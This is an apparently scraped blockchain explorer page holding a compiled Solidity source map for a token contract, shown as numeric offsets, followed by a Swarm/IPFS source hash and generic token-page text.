4;13379:11;;13238:160;;;;:::o;11098:44::-;;;;:::o;12626:134::-;12698:7;12725:11;:18;12737:5;12725:18;;;;;;;;;;;;;;;:27;12744:7;12725:27;;;;;;;;;;;;;;;;12718:34;;12626:134;;;;:::o;3844:192::-;3674:12;:10;:12::i;:::-;3663:23;;:7;:5;:7::i;:::-;:23;;;3655:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3953:1:::1;3933:22;;:8;:22;;::::0;3925:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4009:19;4019:8;4009:9;:19::i;:::-;3844:192:::0;:::o;11383:42::-;;;:::o;12766:352::-;12883:4;12925:1;12908:19;;:5;:19;;;;:44;;;;;12950:1;12931:21;;:7;:21;;;;12908:44;12900:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;13034:6;13004:11;:18;13016:5;13004:18;;;;;;;;;;;;;;;:27;13023:7;13004:27;;;;;;;;;;;;;;;:36;;;;13072:7;13056:32;;13065:5;13056:32;;;13081:6;13056:32;;;;;;:::i;:::-;;;;;;;;13106:4;13099:11;;12766:352;;;;;:::o;13793:1486::-;13897:15;13915:24;13933:4;13915:9;:24::i;:::-;13897:42;;13941:18;13976:9;;;;;;;;;;;:32;;;;;13999:9;;13989:7;:19;13976:32;:45;;;;;14013:8;;;;;;;;;;;14012:9;13976:45;:74;;;;;14037:13;14025:25;;:8;:25;;;;13976:74;13972:743;;;14078:4;14067:8;;:15;;;;;;;;;;;;;;;;;;14084:23;14099:7;14084:14;:23::i;:::-;14120:5;14109:8;;:16;;;;;;;;;;;;;;;;;;13972:743;;;14169:9;;14149:7;:17;14157:8;14149:17;;;;;;;;;;;;;;;;:29;:60;;;;;14200:9;;14182:7;:15;14190:6;14182:15;;;;;;;;;;;;;;;;:27;14149:60;14145:570;;;14239:9;14226:22;;14276:10;14250:7;:22;14266:4;14250:22;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;14301:28;14311:9;14322:6;14301:9;:28::i;:::-;14331:7;;;;14145:570;14379:6;14361:25;;:6;:25;;;;:50;;;;;14410:1;14390:7;:17;14398:8;14390:17;;;;;;;;;;;;;;;;:21;14361:50;:75;;;;;14427:9;;14415;:21;14361:75;:102;;;;;14450:13;14440:23;;:6;:23;;;;14361:102;14357:358;;;14498:9;14480:7;:15;14488:6;14480:15;;;;;;;;;;;;;;;:27;;;;14509:7;;;;14357:358;14540:8;;;;;;;;;;;14539:9;:43;;;;;14581:1;14552:16;:26;14569:8;14552:26;;;;;;;;;;;;;;;;:30;14539:43;:72;;;;;14598:13;14586:25;;:8;:25;;;;14539:72;:98;;;;;14636:1;14615:7;:17;14623:8;14615:17;;;;;;;;;;;;;;;;:22;14539:98;14535:180;;;14703:9;;14683:7;:17;14691:8;14683:17;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;14654:16;:26;14671:8;14654:26;;;;;;;;;;;;;;;:58;;;;14535:180;13972:743;14727:13;14743:14;:29;14758:13;14743:29;;;;;;;;;;;;;;;;;;;;;;;;;14727:45;;14814:1;14787:16;:23;14804:5;14787:23;;;;;;;;;;;;;;;;:28;14783:69;;14843:9;;14817:16;:23;14834:5;14817:23;;;;;;;;;;;;;;;:35;;;;14783:69;14886:6;14854:14;:29;14869:13;14854:29;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;14920:1;14907:10;;:14;:40;;;;;14946:1;14925:7;:17;14933:8;14925:17;;;;;;;;;;;;;;;;:22;14907:40;:53;;;;;14952:8;;;;;;;;;;;14951:9;14907:53;:77;;;;;14983:1;14964:7;:15;14972:6;14964:15;;;;;;;;;;;;;;;;:20;14907:77;14903:254;;;15041:3;15027:10;;15015:9;:22;;;;:::i;:::-;15014:30;;;;:::i;:::-;15001:43;;15059:10;15046:23;;;;;:::i;:::-;;;15092:10;15071:7;:17;15079:8;15071:17;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;15144:10;15118:7;:22;15134:4;15118:22;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;14903:254;15179:9;15158:7;:17;15166:8;15158:17;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;15209:9;15190:7;:15;15198:6;15190:15;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;15253:6;15234:37;;15243:8;15234:37;;;15261:9;15234:37;;;;;;:::i;:::-;;;;;;;;13886:1393;;;13793:1486;;;;:::o;3115:98::-;3168:7;3195:10;3188:17;;3115:98;:::o;4042:173::-;4098:16;4117:6;;;;;;;;;;;4098:25;;4143:8;4134:6;;:17;;;;;;;;;;;;;;;;;;4198:8;4167:40;;4188:8;4167:40;;;;;;;;;;;;4087:128;4042:173;:::o;15992:316::-;16051:12;16075:1;16066:6;:10;;;;:::i;:::-;16051:25;;16087:22;16112:21;16087:46;;16144:30;16154:4;16168;16144:9;:30::i;:::-;16185:18;16230:14;16206:21;:38;;;;:::i;:::-;16185:59;;16255:45;16268:4;16274:10;16294:4;16255:12;:45::i;:::-;16040:268;;;15992:316;:::o;15624:362::-;15695:21;15733:1;15719:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15695:40;;15764:4;15746;15751:1;15746:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;15790:6;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15780:4;15785:1;15780:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;15814:53;15831:4;15846:6;15855:11;15814:8;:53::i;:::-;;15878:6;:57;;;15936:11;15949:1;15952:4;15958:2;15962:15;15878:100;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15684:302;15624:362;;:::o;15324:294::-;15451:53;15468:4;15483:6;15492:11;15451:8;:53::i;:::-;;15515:6;:22;;;15545:9;15564:4;15571:11;15584:1;15587;15590:2;15594:15;15515:95;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15324:294;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1397:77::-;1434:7;1463:5;1452:16;;1397:77;;;:::o;1480:118::-;1567:24;1585:5;1567:24;:::i;:::-;1562:3;1555:37;1480:118;;:::o;1604:222::-;1697:4;1735:2;1724:9;1720:18;1712:26;;1748:71;1816:1;1805:9;1801:17;1792:6;1748:71;:::i;:::-;1604:222;;;;:::o;1913:117::-;2022:1;2019;2012:12;2159:126;2196:7;2236:42;2229:5;2225:54;2214:65;;2159:126;;;:::o;2291:96::-;2328:7;2357:24;2375:5;2357:24;:::i;:::-;2346:35;;2291:96;;;:::o;2393:122::-;2466:24;2484:5;2466:24;:::i;:::-;2459:5;2456:35;2446:63;;2505:1;2502;2495:12;2446:63;2393:122;:::o;2521:139::-;2567:5;2605:6;2592:20;2583:29;;2621:33;2648:5;2621:33;:::i;:::-;2521:139;;;;:::o;2666:122::-;2739:24;2757:5;2739:24;:::i;:::-;2732:5;2729:35;2719:63;;2778:1;2775;2768:12;2719:63;2666:122;:::o;2794:139::-;2840:5;2878:6;2865:20;2856:29;;2894:33;2921:5;2894:33;:::i;:::-;2794:139;;;;:::o;2939:474::-;3007:6;3015;3064:2;3052:9;3043:7;3039:23;3035:32;3032:119;;;3070:79;;:::i;:::-;3032:119;3190:1;3215:53;3260:7;3251:6;3240:9;3236:22;3215:53;:::i;:::-;3205:63;;3161:117;3317:2;3343:53;3388:7;3379:6;3368:9;3364:22;3343:53;:::i;:::-;3333:63;;3288:118;2939:474;;;;;:::o;3419:90::-;3453:7;3496:5;3489:13;3482:21;3471:32;;3419:90;;;:::o;3515:109::-;3596:21;3611:5;3596:21;:::i;:::-;3591:3;3584:34;3515:109;;:::o;3630:210::-;3717:4;3755:2;3744:9;3740:18;3732:26;;3768:65;3830:1;3819:9;3815:17;3806:6;3768:65;:::i;:::-;3630:210;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:329::-;4530:6;4579:2;4567:9;4558:7;4554:23;4550:32;4547:119;;;4585:79;;:::i;:::-;4547:119;4705:1;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4676:117;4471:329;;;;:::o;4806:118::-;4893:24;4911:5;4893:24;:::i;:::-;4888:3;4881:37;4806:118;;:::o;4930:222::-;5023:4;5061:2;5050:9;5046:18;5038:26;;5074:71;5142:1;5131:9;5127:17;5118:6;5074:71;:::i;:::-;4930:222;;;;:::o;5158:329::-;5217:6;5266:2;5254:9;5245:7;5241:23;5237:32;5234:119;;;5272:79;;:::i;:::-;5234:119;5392:1;5417:53;5462:7;5453:6;5442:9;5438:22;5417:53;:::i;:::-;5407:63;;5363:117;5158:329;;;;:::o;5493:474::-;5561:6;5569;5618:2;5606:9;5597:7;5593:23;5589:32;5586:119;;;5624:79;;:::i;:::-;5586:119;5744:1;5769:53;5814:7;5805:6;5794:9;5790:22;5769:53;:::i;:::-;5759:63;;5715:117;5871:2;5897:53;5942:7;5933:6;5922:9;5918:22;5897:53;:::i;:::-;5887:63;;5842:118;5493:474;;;;;:::o;5973:60::-;6001:3;6022:5;6015:12;;5973:60;;;:::o;6039:142::-;6089:9;6122:53;6140:34;6149:24;6167:5;6149:24;:::i;:::-;6140:34;:::i;:::-;6122:53;:::i;:::-;6109:66;;6039:142;;;:::o;6187:126::-;6237:9;6270:37;6301:5;6270:37;:::i;:::-;6257:50;;6187:126;;;:::o;6319:152::-;6395:9;6428:37;6459:5;6428:37;:::i;:::-;6415:50;;6319:152;;;:::o;6477:183::-;6590:63;6647:5;6590:63;:::i;:::-;6585:3;6578:76;6477:183;;:::o;6666:274::-;6785:4;6823:2;6812:9;6808:18;6800:26;;6836:97;6930:1;6919:9;6915:17;6906:6;6836:97;:::i;:::-;6666:274;;;;:::o;6946:180::-;6994:77;6991:1;6984:88;7091:4;7088:1;7081:15;7115:4;7112:1;7105:15;7132:320;7176:6;7213:1;7207:4;7203:12;7193:22;;7260:1;7254:4;7250:12;7281:18;7271:81;;7337:4;7329:6;7325:17;7315:27;;7271:81;7399:2;7391:6;7388:14;7368:18;7365:38;7362:84;;7418:18;;:::i;:::-;7362:84;7183:269;7132:320;;;:::o;7458:180::-;7506:77;7503:1;7496:88;7603:4;7600:1;7593:15;7627:4;7624:1;7617:15;7644:191;7684:4;7704:20;7722:1;7704:20;:::i;:::-;7699:25;;7738:20;7756:1;7738:20;:::i;:::-;7733:25;;7777:1;7774;7771:8;7768:34;;;7782:18;;:::i;:::-;7768:34;7827:1;7824;7820:9;7812:17;;7644:191;;;;:::o;7841:182::-;7981:34;7977:1;7969:6;7965:14;7958:58;7841:182;:::o;8029:366::-;8171:3;8192:67;8256:2;8251:3;8192:67;:::i;:::-;8185:74;;8268:93;8357:3;8268:93;:::i;:::-;8386:2;8381:3;8377:12;8370:19;;8029:366;;;:::o;8401:419::-;8567:4;8605:2;8594:9;8590:18;8582:26;;8654:9;8648:4;8644:20;8640:1;8629:9;8625:17;8618:47;8682:131;8808:4;8682:131;:::i;:::-;8674:139;;8401:419;;;:::o;8826:225::-;8966:34;8962:1;8954:6;8950:14;8943:58;9035:8;9030:2;9022:6;9018:15;9011:33;8826:225;:::o;9057:366::-;9199:3;9220:67;9284:2;9279:3;9220:67;:::i;:::-;9213:74;;9296:93;9385:3;9296:93;:::i;:::-;9414:2;9409:3;9405:12;9398:19;;9057:366;;;:::o;9429:419::-;9595:4;9633:2;9622:9;9618:18;9610:26;;9682:9;9676:4;9672:20;9668:1;9657:9;9653:17;9646:47;9710:131;9836:4;9710:131;:::i;:::-;9702:139;;9429:419;;;:::o;9854:223::-;9994:34;9990:1;9982:6;9978:14;9971:58;10063:6;10058:2;10050:6;10046:15;10039:31;9854:223;:::o;10083:366::-;10225:3;10246:67;10310:2;10305:3;10246:67;:::i;:::-;10239:74;;10322:93;10411:3;10322:93;:::i;:::-;10440:2;10435:3;10431:12;10424:19;;10083:366;;;:::o;10455:419::-;10621:4;10659:2;10648:9;10644:18;10636:26;;10708:9;10702:4;10698:20;10694:1;10683:9;10679:17;10672:47;10736:131;10862:4;10736:131;:::i;:::-;10728:139;;10455:419;;;:::o;10880:305::-;10920:3;10939:20;10957:1;10939:20;:::i;:::-;10934:25;;10973:20;10991:1;10973:20;:::i;:::-;10968:25;;11127:1;11059:66;11055:74;11052:1;11049:81;11046:107;;;11133:18;;:::i;:::-;11046:107;11177:1;11174;11170:9;11163:16;;10880:305;;;;:::o;11191:348::-;11231:7;11254:20;11272:1;11254:20;:::i;:::-;11249:25;;11288:20;11306:1;11288:20;:::i;:::-;11283:25;;11476:1;11408:66;11404:74;11401:1;11398:81;11393:1;11386:9;11379:17;11375:105;11372:131;;;11483:18;;:::i;:::-;11372:131;11531:1;11528;11524:9;11513:20;;11191:348;;;;:::o;11545:180::-;11593:77;11590:1;11583:88;11690:4;11687:1;11680:15;11714:4;11711:1;11704:15;11731:185;11771:1;11788:20;11806:1;11788:20;:::i;:::-;11783:25;;11822:20;11840:1;11822:20;:::i;:::-;11817:25;;11861:1;11851:35;;11866:18;;:::i;:::-;11851:35;11908:1;11905;11901:9;11896:14;;11731:185;;;;:::o;11922:180::-;11970:77;11967:1;11960:88;12067:4;12064:1;12057:15;12091:4;12088:1;12081:15;12108:180;12156:77;12153:1;12146:88;12253:4;12250:1;12243:15;12277:4;12274:1;12267:15;12294:143;12351:5;12382:6;12376:13;12367:22;;12398:33;12425:5;12398:33;:::i;:::-;12294:143;;;;:::o;12443:351::-;12513:6;12562:2;12550:9;12541:7;12537:23;12533:32;12530:119;;;12568:79;;:::i;:::-;12530:119;12688:1;12713:64;12769:7;12760:6;12749:9;12745:22;12713:64;:::i;:::-;12703:74;;12659:128;12443:351;;;;:::o;12800:85::-;12845:7;12874:5;12863:16;;12800:85;;;:::o;12891:158::-;12949:9;12982:61;13000:42;13009:32;13035:5;13009:32;:::i;:::-;13000:42;:::i;:::-;12982:61;:::i;:::-;12969:74;;12891:158;;;:::o;13055:147::-;13150:45;13189:5;13150:45;:::i;:::-;13145:3;13138:58;13055:147;;:::o;13208:114::-;13275:6;13309:5;13303:12;13293:22;;13208:114;;;:::o;13328:184::-;13427:11;13461:6;13456:3;13449:19;13501:4;13496:3;13492:14;13477:29;;13328:184;;;;:::o;13518:132::-;13585:4;13608:3;13600:11;;13638:4;13633:3;13629:14;13621:22;;13518:132;;;:::o;13656:108::-;13733:24;13751:5;13733:24;:::i;:::-;13728:3;13721:37;13656:108;;:::o;13770:179::-;13839:10;13860:46;13902:3;13894:6;13860:46;:::i;:::-;13938:4;13933:3;13929:14;13915:28;;13770:179;;;;:::o;13955:113::-;14025:4;14057;14052:3;14048:14;14040:22;;13955:113;;;:::o;14104:732::-;14223:3;14252:54;14300:5;14252:54;:::i;:::-;14322:86;14401:6;14396:3;14322:86;:::i;:::-;14315:93;;14432:56;14482:5;14432:56;:::i;:::-;14511:7;14542:1;14527:284;14552:6;14549:1;14546:13;14527:284;;;14628:6;14622:13;14655:63;14714:3;14699:13;14655:63;:::i;:::-;14648:70;;14741:60;14794:6;14741:60;:::i;:::-;14731:70;;14587:224;14574:1;14571;14567:9;14562:14;;14527:284;;;14531:14;14827:3;14820:10;;14228:608;;;14104:732;;;;:::o;14842:831::-;15105:4;15143:3;15132:9;15128:19;15120:27;;15157:71;15225:1;15214:9;15210:17;15201:6;15157:71;:::i;:::-;15238:80;15314:2;15303:9;15299:18;15290:6;15238:80;:::i;:::-;15365:9;15359:4;15355:20;15350:2;15339:9;15335:18;15328:48;15393:108;15496:4;15487:6;15393:108;:::i;:::-;15385:116;;15511:72;15579:2;15568:9;15564:18;15555:6;15511:72;:::i;:::-;15593:73;15661:3;15650:9;15646:19;15637:6;15593:73;:::i;:::-;14842:831;;;;;;;;:::o;15679:807::-;15928:4;15966:3;15955:9;15951:19;15943:27;;15980:71;16048:1;16037:9;16033:17;16024:6;15980:71;:::i;:::-;16061:72;16129:2;16118:9;16114:18;16105:6;16061:72;:::i;:::-;16143:80;16219:2;16208:9;16204:18;16195:6;16143:80;:::i;:::-;16233;16309:2;16298:9;16294:18;16285:6;16233:80;:::i;:::-;16323:73;16391:3;16380:9;16376:19;16367:6;16323:73;:::i;:::-;16406;16474:3;16463:9;16459:19;16450:6;16406:73;:::i;:::-;15679:807;;;;;;;;;:::o;16492:143::-;16549:5;16580:6;16574:13;16565:22;;16596:33;16623:5;16596:33;:::i;:::-;16492:143;;;;:::o;16641:663::-;16729:6;16737;16745;16794:2;16782:9;16773:7;16769:23;16765:32;16762:119;;;16800:79;;:::i;:::-;16762:119;16920:1;16945:64;17001:7;16992:6;16981:9;16977:22;16945:64;:::i;:::-;16935:74;;16891:128;17058:2;17084:64;17140:7;17131:6;17120:9;17116:22;17084:64;:::i;:::-;17074:74;;17029:129;17197:2;17223:64;17279:7;17270:6;17259:9;17255:22;17223:64;:::i;:::-;17213:74;;17168:129;16641:663;;;;;:::o

Swarm Source

ipfs://6ca98b66b57b6653186ccdfe2f8e47d77d5126c3c6a42cb86edeb92da9f56c31
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.